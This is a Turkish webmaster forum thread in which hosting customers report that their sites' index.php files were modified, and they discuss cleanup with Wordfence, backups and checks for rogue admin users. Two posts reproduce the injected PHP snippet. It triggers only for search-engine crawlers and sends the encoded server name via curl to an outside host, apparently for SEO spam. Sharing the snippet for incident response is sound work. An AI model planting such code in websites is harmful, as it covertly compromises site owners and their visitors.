• 21-08-2025, 10:05:48
    #1
    Frank sunucusunda 2 tane hostingim var. her birinde de 20 şer site var. 20.08.2025 01:39 civarı tüm sitelerimin index.php dosyası değiştirilmiş. Desteğe yazdığımda wordpressten kaynaklı bir durum dediler. Wordpress olmayan scriptlelerime de bulaşmış. Olan arkadaşlar kontrol edebilirler mi?

    <?php /* === MY_SNIPPET_START === */
                $user_agent = $_SERVER['HTTP_USER_AGENT'];
                $bot_agents = [
                    'Googlebot',
                    'Googlebot/2.1 (+http://www.google.com/bot.html)',
                    'Googlebot-Mobile',
                    'Googlebot-News',
                    'Googlebot-Image',
                    'Googlebot-Video',
                    'AhrefsBot',
                    'AhrefsBot/7.0 (+http://ahrefs.com/robot/)',
                    'SemrushBot',
                    'SemrushBot-SA',
                    'SemrushBot-SI',
                    'Googlebot-Link',
                    'Google-Structured-Data-Testing-Tool',
                    'Googlebot-Link (+http://www.google.com/bot.html)'
                ];
    
                foreach ($bot_agents as $bot) {
                    if (strpos($user_agent, $bot) !== false) {
                        $exe = curl_init();
                        curl_setopt($exe, CURLOPT_USERAGENT, $user_agent);
                        $url = "https://cdnjshosted.com/yd/" . base64_encode($_SERVER['SERVER_NAME']);
                        curl_setopt($exe, CURLOPT_URL, $url);
                        curl_exec($exe);
                        curl_close($exe);
                        break;
                    }
                    if (strpos($user_agent, $bot) !== false) {
                        $exe = curl_init();
                        curl_setopt($exe, CURLOPT_USERAGENT, $user_agent);
                        $url = "https://cdnjshosted.com/yd/" . base64_encode($_SERVER['SERVER_NAME']);
                        curl_setopt($exe, CURLOPT_URL, $url);
                        curl_exec($exe);
                        curl_close($exe);
                        break;
                    }
                }
    /* === MY_SNIPPET_END === */ ?>
    <?php
    require_once __DIR__ . '/includes/DB.php';
    require_once __DIR__ . '/includes/helpers.php';
    include __DIR__ . '/views/header.php';
    $pdo = DB::conn();
    $specialty = $_GET['s'] ?? '';
    if ($specialty) {
      $st = $pdo->prepare("SELECT d.*, u.name FROM doctors d JOIN users u ON d.user_id = u.id WHERE d.specialty LIKE ? ORDER BY u.name ASC");
      $st->execute(['%'.$specialty.'%']);
    } else {
      $st = $pdo->query("SELECT d.*, u.name FROM doctors d JOIN users u ON d.user_id = u.id ORDER BY u.name ASC LIMIT 20");
    }
    $docs = $st->fetchAll();
    ?>
    <div class="p-4 rounded-3 bg-light">
      <h1 class="h3">Doktor bul, randevu al</h1>
      <form class="row g-2 mt-2">
        <div class="col-md-8">
          <input type="text" name="s" value="<?= e($specialty) ?>" class="form-control" placeholder="Branş ara: Dermatoloji, Psikiyatri...">
        </div>
        <div class="col-md-4"><button class="btn btn-success w-100">Ara</button></div>
      </form>
    </div>
    <div class="row row-cols-1 row-cols-md-2 row-cols-lg-3 mt-4">
    <?php foreach($docs as $d): ?>
      <div class="col mb-3">
        <div class="card h-100">
          <div class="card-body">
            <h5 class="card-title"><?= e($d['name']) ?> <span class="badge bg-info text-dark"><?= e($d['specialty']) ?></span></h5>
            <p class="card-text"><?= nl2br(e(mb_strimwidth($d['bio'],0,140,'...'))) ?></p>
            <p class="card-text"><strong>Online:</strong> ₺<?= e($d['price_online']) ?> • <strong>Yüz yüze:</strong> ₺<?= e($d['price_offline']) ?></p>
            <a class="btn btn-primary" href="/profile.php?id=<?= $d['id'] ?>">Profili Gör</a>
          </div>
        </div>
      </div>
    <?php endforeach; ?>
    </div>
    <?php include __DIR__ . '/views/footer.php'; ?>
  • 21-08-2025, 17:21:40
    #2
    Bu kod normal ziyaretçilere çalışmıyor, sadece arama motoru botları geldiğinde tetikleniyor. alan adını harici bir sunucuya (cdnjshosted.com) gönderiyor. Yani kısaca hacklink denilen illegal yöntemler içindir genelde. ama yönetici olarakta bir kullanıcı eklemiştir mutlaka. Bunu farketmemen için wp-asdasd gibi bir kullanıcıdır muhtemelen. wordfence benzeri bir eklenti ile temizlemeni ve güvenlik ayarlarını yapılandırmanı öneriririm.
  • 21-08-2025, 19:57:40
    #3
    chnrslnn adlı üyeden alıntı: mesajı görüntüle
    Bu kod normal ziyaretçilere çalışmıyor, sadece arama motoru botları geldiğinde tetikleniyor. alan adını harici bir sunucuya (cdnjshosted.com) gönderiyor. Yani kısaca hacklink denilen illegal yöntemler içindir genelde. ama yönetici olarakta bir kullanıcı eklemiştir mutlaka. Bunu farketmemen için wp-asdasd gibi bir kullanıcıdır muhtemelen. wordfence benzeri bir eklenti ile temizlemeni ve güvenlik ayarlarını yapılandırmanı öneriririm.
    Hocam eklenti falan değil. Sunucuda kim varsa bulaşmış.
  • 21-08-2025, 20:17:28
    #4
    Eklentide sorun var demiyorum dostum. Wordfence benzeri bir eklenti kur wordpress sitelerine. Onunla eklenen kodları kaldırıp web üzerinden kod düzenleme izinleri gibi ayarları yap. Eklenti hangi dosyaların değiştirilmiş olduğunu söyleyecek sana. Ayrıca bunları temizlemeni sağlayacak. Yani sen güvenlik önlemini al hosting şirketi sunucuyu güvene alacak diye bekleme.
  • 21-08-2025, 20:35:15
    #5
    chnrslnn adlı üyeden alıntı: mesajı görüntüle
    Eklentide sorun var demiyorum dostum. Wordfence benzeri bir eklenti kur wordpress sitelerine. Onunla eklenen kodları kaldırıp web üzerinden kod düzenleme izinleri gibi ayarları yap. Eklenti hangi dosyaların değiştirilmiş olduğunu söyleyecek sana. Ayrıca bunları temizlemeni sağlayacak. Yani sen güvenlik önlemini al hosting şirketi sunucuyu güvene alacak diye bekleme.
    Sadece index dosyasına bulaşmış. Başka dosyaları tarattık bulunmadı. İmunify de bulmuyor garip geldi. Ben yedekten temiz kurulum yaptım hocam. Bir kaç wp sitesi var onlara da dediğiniz gibi wordfrence kurayım.
  • 22-08-2025, 23:40:58
    #6
    Kimlik doğrulama veya yönetimden onay bekliyor.
    Aynısı benim sitelerimde var şikayet konusu acacagım sımdı.

    <?php /* === MY_SNIPPET_START === */
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $bot_agents = [
    'Googlebot',
    'Googlebot/2.1 (+http://www.google.com/bot.html)',
    'Googlebot-Mobile',
    'Googlebot-News',
    'Googlebot-Image',
    'Googlebot-Video',
    'AhrefsBot',
    'AhrefsBot/7.0 (+http://ahrefs.com/robot/)',
    'SemrushBot',
    'SemrushBot-SA',
    'SemrushBot-SI',
    'Googlebot-Link',
    'Google-Structured-Data-Testing-Tool',
    'Googlebot-Link (+http://www.google.com/bot.html)'
    ];

    foreach ($bot_agents as $bot) {
    if (strpos($user_agent, $bot) !== false) {
    $exe = curl_init();
    curl_setopt($exe, CURLOPT_USERAGENT, $user_agent);
    $url = "https://cdnjshosted.com/yd/" . base64_encode($_SERVER['SERVER_NAME']);
    curl_setopt($exe, CURLOPT_URL, $url);
    curl_exec($exe);
    curl_close($exe);
    break;
    }
    if (strpos($user_agent, $bot) !== false) {
    $exe = curl_init();
    curl_setopt($exe, CURLOPT_USERAGENT, $user_agent);
    $url = "https://cdnjshosted.com/yd/" . base64_encode($_SERVER['SERVER_NAME']);
    curl_setopt($exe, CURLOPT_URL, $url);
    curl_exec($exe);
    curl_close($exe);
    break;
    }
    }
    /* === MY_SNIPPET_END === */ ?>
  • 25-08-2025, 10:08:35
    #7
    Bana da siteniz saldırı alıyor diyip askıya aldılar. Şimdi kendi siteleri hacklenmiş, sizin de konunuzu görünce anladım ki sorun bizim sitelerde değil, firma hackleniyor bizi etkiliyor.